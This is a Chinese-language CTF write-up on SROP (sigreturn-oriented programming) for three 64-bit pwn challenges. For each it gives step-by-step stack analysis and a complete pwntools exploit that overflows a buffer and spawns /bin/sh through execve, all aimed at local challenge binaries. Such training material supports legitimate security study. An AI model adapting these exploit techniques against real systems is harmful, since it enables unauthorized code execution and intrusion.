具体攻击原理可以参考安全客这篇文章:入口

  刚学了一点,也是懵懵懂懂的,拿几道题来练练手。

ciscn_2019_es_7

  64位程序,只开启了NX保护。

  相当于执行了read(0,buf,0x400),write(1,buf,0x30),在执行read的时候可以进行溢出。题目中还有一个函数叫做gadgets,里面提供了一些gadgaets供我们使用。

  15是调用sigreturn,59是调用execve。调用execve需要让几个寄存器满足条件,rdi=="/bin/sh",rsi==NULL,rdx==NULL,这里就需要我们手动输入"/bin/sh"字符串,并且要知道字符串的地址,所以就需要leak一个栈地址。

  step1:通过read,payload = '/bin/sh\x00'*2+p64(0x04004f1),将payload打过去,此时会leak一个栈地址。动调一下,算一下我们输入的'/bin/sh'和leak的栈地址的距离。

  这里我只输入了一个binsh,下面的箭头是我们leak的stack地址,上面是binsh的地址。相差0x118,所以将leak的stack地址减去0x118,里面存的就是binsh字符串了。

  step2:可以看到第一步的时候,返回地址我们设置成了0x04004f1

  目的是可以继续写入,少了push等操作,这样对栈不会有影响。此时又是一个输入,这个时候就用到srop了。

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = stack
4 sigframe.rsi = 0x0
5 sigframe.rdx = 0x0
6 sigframe.rip = syscall_ret
7 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)

  'a'*0x10是用来充栈的,这0x10个a其实是写入0x8,0x0的位置了。此时的堆栈图:

  mov rax 15 ret就是返回地址,先给rax赋值为15,然后syscall调用sigreturn来进行攻击。将rdi指向binsh字符串,rsi==NULL,rdx==NULL,最后需要将rip指向syscall_ret,就成功调用了。

  这里其实是可以构造srop链的,多次调用sigreturn,只需要将rsp==栈地址,在栈上继续布置srop,就可以达到重复调用。而此题就不需要了,已经可以拿到shell了。

  exp:

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 syscall_ret = 0x0400501
8 mov_rax_15 = 0x04004DA
9 fun = 0x04004f1
10
11 p.send('/bin/sh\x00'*2+p64(0x04004f1))
12 p.recv(0x20)
13 stack = u64(p.recv(8))-0x118
14 print 'stack-->'+hex(stack)
15
16 sigframe = SigreturnFrame()
17 sigframe.rax = constants.SYS_execve
18 sigframe.rdi = stack
19 sigframe.rsi = 0x0
20 sigframe.rdx = 0x0
21 sigframe.rip = syscall_ret
22 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)
23
24 p.send(payload)
25 p.recv()
26 p.interactive()

  值得注意的是,在第五行需要设置了环境是64位,不然sigframe = SigreturnFrame()会报错。

360chunqiu2017_smallest

  64位程序,只开启了NX保护,程序相当简单。

  还是通过系统调用,执行了read(0,buf,0x400),这里有一个小知识,就是程序在调用call之后的返回值一般是保存在rax中的,所以我们可以通过执行read之后的读入的字符长度,来控制rax的值,实现任意函数的系统调用。

  step1:先将payload = p64(start)*3打过去,此时的栈分布:

  step2:接下来,payload = '\xB3',read一个字节,就会修改-0x08处的值,修改成0x004000B3。程序会返回到0x004000B3开始执行。

  这样就跳过了xor rax rax,并且此时的rax==1,这样执行syscall,其实是在执行write(1,buf,0x400),目的还是为了leak一个stack地址,方面进行写入binsh字符串。

  step3:接下来又回到了start,也就是-0x10处的0x004000B0。

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_read
3 sigframe.rdi = 0
4 sigframe.rsi = stack
5 sigframe.rdx = 0x400
6 sigframe.rsp = stack
7 sigframe.rip = syscall_ret
8 payload = p64(start_addr)+'a'*0x8+str(sigframe)

  看一下此时的堆栈图:

  这里的aaaaaaaa其实是在给下一次跳转留跳板的位置,还有一个原因是,我们要修改rax的值为15,调用sigreturn函数。

  step4:payload = p64(syscall_ret)+'b'*7,这个时候的堆栈图:

  这里会执行syscall_ret,对应上面的sigframe,会执行read(0,stack,0x400),并且返回地址会跳到stack。我感觉我堆栈图画的其实是不够严谨的,sigframe其实并不只占0x8,相反,会占很大一块区域,这里读入的时候,其实会有一部分覆盖掉其中的内容,只要覆盖不到关键的寄存器就行。

  step5:payload = p64(start_addr)+'b'*8+str(sigframe)

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = stack+0x300
4 sigframe.rsi = 0x0
5 sigframe.rdx = 0x0
6 sigframe.rip = syscall_ret
7 payload = p64(start_addr)+'b'*8+str(sigframe)
8 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'

  此时的堆栈图:

  step6:有一个start,payload = p64(syscall_ret)+'b'*7,读入数据。我感觉我堆栈图画的其实是不够严谨的,sigframe其实并不只占0x8,相反,会占很大一块区域,这里读入的时候,其实会有一部分覆盖掉其中的内容,只要覆盖不到关键的寄存器就行。

  第六步就是把bbbbbbbb覆盖成syscall_ret,因为读入了15个字符,rax是15,会调用sigreturn,rip又指向syscall_ret,就能够拿到shell了。

exp:

 1 from pwn import *
2
3 p = process('./smallest')
4 elf = ELF('./smallest')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 syscall_ret = 0x004000BE
8 start_addr = 0x004000B0
9
10 payload = p64(start_addr)*3
11 p.send(payload)
12
13 p.send('\xb3')
14 stack = u64(p.recv()[8:16])
15 #print 'stack-->'+hex(stack)
16
17 sigframe = SigreturnFrame()
18 sigframe.rax = constants.SYS_read
19 sigframe.rdi = 0
20 sigframe.rsi = stack
21 sigframe.rdx = 0x400
22 sigframe.rsp = stack
23 sigframe.rip = syscall_ret
24 payload = p64(start_addr)+'a'*0x8+str(sigframe)
25 p.send(payload)
26
27 sigreturn = p64(syscall_ret)+'b'*7
28 p.send(sigreturn)
29
30 sigframe = SigreturnFrame()
31 sigframe.rax = constants.SYS_execve
32 sigframe.rdi = stack+0x300
33 sigframe.rsi = 0x0
34 sigframe.rdx = 0x0
35 sigframe.rip = syscall_ret
36 payload = p64(start_addr)+'b'*8+str(sigframe)
37 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
38 p.send(payload)
39 p.send(sigreturn)
40 p.interactive()

  本地可以打,buu远程打不通,不知道为啥。

rootersctf_2019_srop

  再来一道,64位程序,还是只开启了NX保护。

  程序先write输出了一句话,然后是一个read(0,buf,0x400),可以进行溢出。

  在0x00401032处有pop rax,然后就会执行syscall,我们可以控制这里,让rax==15,执行sigreturn,进行srop攻击。

  step1:将栈迁移到data段

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_read
3 sigframe.rdi = 0
4 sigframe.rsi = buf
5 sigframe.rdx = 0x400
6 sigframe.rbp = buf
7 sigframe.rip = syscall
8 payload = 'a'*0x80+'bbbbbbbb'+p64(0x00401032)+p64(15)+str(sigframe)

  返回地址覆盖成pop rax,然后执行syscall,leave ret。

  可以看到上面的sigframe我把rbp设置到了buf

  执行leave的时候就相当于执行mov rsp,rbp ,pop rbp。

  step2:往buf进行写入

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = buf+0x300
4 sigframe.rsi = 0
5 sigframe.rdx = 0
6 sigframe.rip = syscall
7 payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
8 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'

  这里往buf进行写入,其实就是简单的srop了。将各个寄存器的值设置好,同时写入binsh字符串执行就可以了。贴一下全部的exp:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
context(os='linux',arch='amd64',log_level='debug') vuln = 0x00401000
fun = 0x00401032
buf = 0x0402000
syscall = 0x0401033 sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf
sigframe.rdx = 0x400
sigframe.rbp = buf
sigframe.rip = syscall
payload = 'a'*0x80+'bbbbbbbb'+p64(fun)+p64(15)+str(sigframe)
p.sendafter('CTF?\n',payload) sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x300
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.interactive()

  三道题做下来,目前对srop就有了一个整体的认识了,不得不说,看师傅们的exp是构造的真的很巧妙,有时候会让人大呼,竟然还可以这样!

SROP例题的更多相关文章

  1. SROP

    先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3 保护只开了nx 1 signed __int64 vuln() 2 { 3 signed __int64 v0; // r ...

  2. BIT 树状数组 详解 及 例题

    (一)树状数组的概念 如果给定一个数组,要你求里面所有数的和,一般都会想到累加.但是当那个数组很大的时候,累加就显得太耗时了,时间复杂度为O(n),并且采用累加的方法还有一个局限,那就是,当修改掉数组 ...

  3. STL模板中的map的使用与例题

    最近的计分赛,记得自己的都只是过了两题.遇到了两次map,自己在寒假看了一点的map,只知道在字符串匹配的时候可以用的到.但是自己对map的使用还是不够熟练使用,这回在第一次和第二次的计分赛中都遇到可 ...

  4. C语言经典例题100

    C语言经典例题100 来源 http://www.fishc.com 适合初学者 ----------------------------------------------------------- ...

  5. 图的全局最小割的Stoer-Wagner算法及例题

    Stoer-Wagner算法基本思想:如果能求出图中某两个顶点之间的最小割,更新答案后合并这两个顶点继续求最小割,到最后就得到答案. 算法步骤: --------------------------- ...

  6. lca入门———树上倍增法(博文内含例题)

    倍增求LCA: father[i][j]表示节点i往上跳2^j次后的节点 可以转移为 father[i][j]=father[father[i][j-1]][j-1] 整体思路: 先比较两个点的深度, ...

  7. acm常见算法及例题

    转自:http://blog.csdn.net/hengjie2009/article/details/7540135 acm常见算法及例题  初期:一.基本算法:     (1)枚举. (poj17 ...

  8. [LeetCode] “全排列”问题系列(二) - 基于全排列本身的问题,例题: Next Permutation , Permutation Sequence

    一.开篇 既上一篇<交换法生成全排列及其应用> 后,这里讲的是基于全排列 (Permutation)本身的一些问题,包括:求下一个全排列(Next Permutation):求指定位置的全 ...

  9. C语言中的经典例题用javascript怎么解?(一)

    C语言中的经典例题用javascript怎么解?(一) 一.1+2+3+……+100=?        <script type="text/javascript">  ...

随机推荐

  1. Dapr-Actor构建块

    前言: 前篇-绑定 文章对Dapr的绑定构建块进行了解,本篇继续对 Actor 构建块进行了解学习. 一.Actor简介: Actors 为最低级别的"计算单元". 换句话说,您将 ...

  2. SpringSecurity过滤器原理

    SpringSecurity原理 主要过滤器链 SpringSecurity的功能主要是由一系列的过滤器链相互配合完成的.验证一个过滤器之后放行到下一个过滤器链,然后到最后. 认证流程 过滤器作用 S ...

  3. CF1175G

    叉姐牛逼. \(f_{k,i} = \min_{0\leq j <i}{f_{k - 1,j} + RMQ(j + 1,i) * (i - j)}\) 我们考虑在序列上分治一波. 按照\(m\) ...

  4. Codeforces 650D - Zip-line(树状数组)

    Codeforces 题目传送门 & 洛谷题目传送门 我怕不是个 nt--一开始忽略了"询问独立"这个条件--然后就一直在想有什么办法维护全局 LIS--心态爆炸 首先离散 ...

  5. Atcoder Grand Contest 054 题解

    那天晚上由于毕业晚会与同学吃饭喝酒没打 AGC,第二天稍微补了下题,目前补到了 E,显然 AGC 的 F 对于我来说都是不可做题就没补了(bushi A 简单题,不难发现如果我们通过三次及以上的操作将 ...

  6. FVCOM泥沙模块河流边界处理

    简介 入流河流携带泥沙可以按照节点和边界两种形式给定,这两种方法都是在相关的节点上进行直接赋值,并不能保证进入计算域内泥沙总体积. 相关设置 XX_run.nml 河流参数设置 &NML_RI ...

  7. 使用FastqCount统计fastq文件基本信息?

    目录 1. FastqCount简介 2. 使用 3. 结果 1. FastqCount简介 快速实用小工具:FastqCount https://github.com/zhimenggan/Fast ...

  8. python爬虫之正则表达式(用在其他地方也可)

    1. 常用的匹配规则 ### 常用的匹配规则 # \w 匹配字母.数字及下划线 # \W 匹配不是字母.数字及下划线的字符 # \s 匹配任意空白字符,等价于[\t\n\t\f] # \S 匹配任意非 ...

  9. day15 内置函数和模块

    day15 内置函数和模块 1.三元表达式 代码如下: x = 1 y = 2 res = 'ok' if x > y else 'no' print(res) 输出结果:no 2.内置函数:重 ...

  10. 数仓day01

    1. 该项目适用哪些行业? 主营业务在线上进行的一些公司,比如外卖公司,各类app(比如:下厨房,头条,安居客,斗鱼,每日优鲜,淘宝网等等) 这类公司通常要针对用户的线上访问行为.消费行为.业务操作行 ...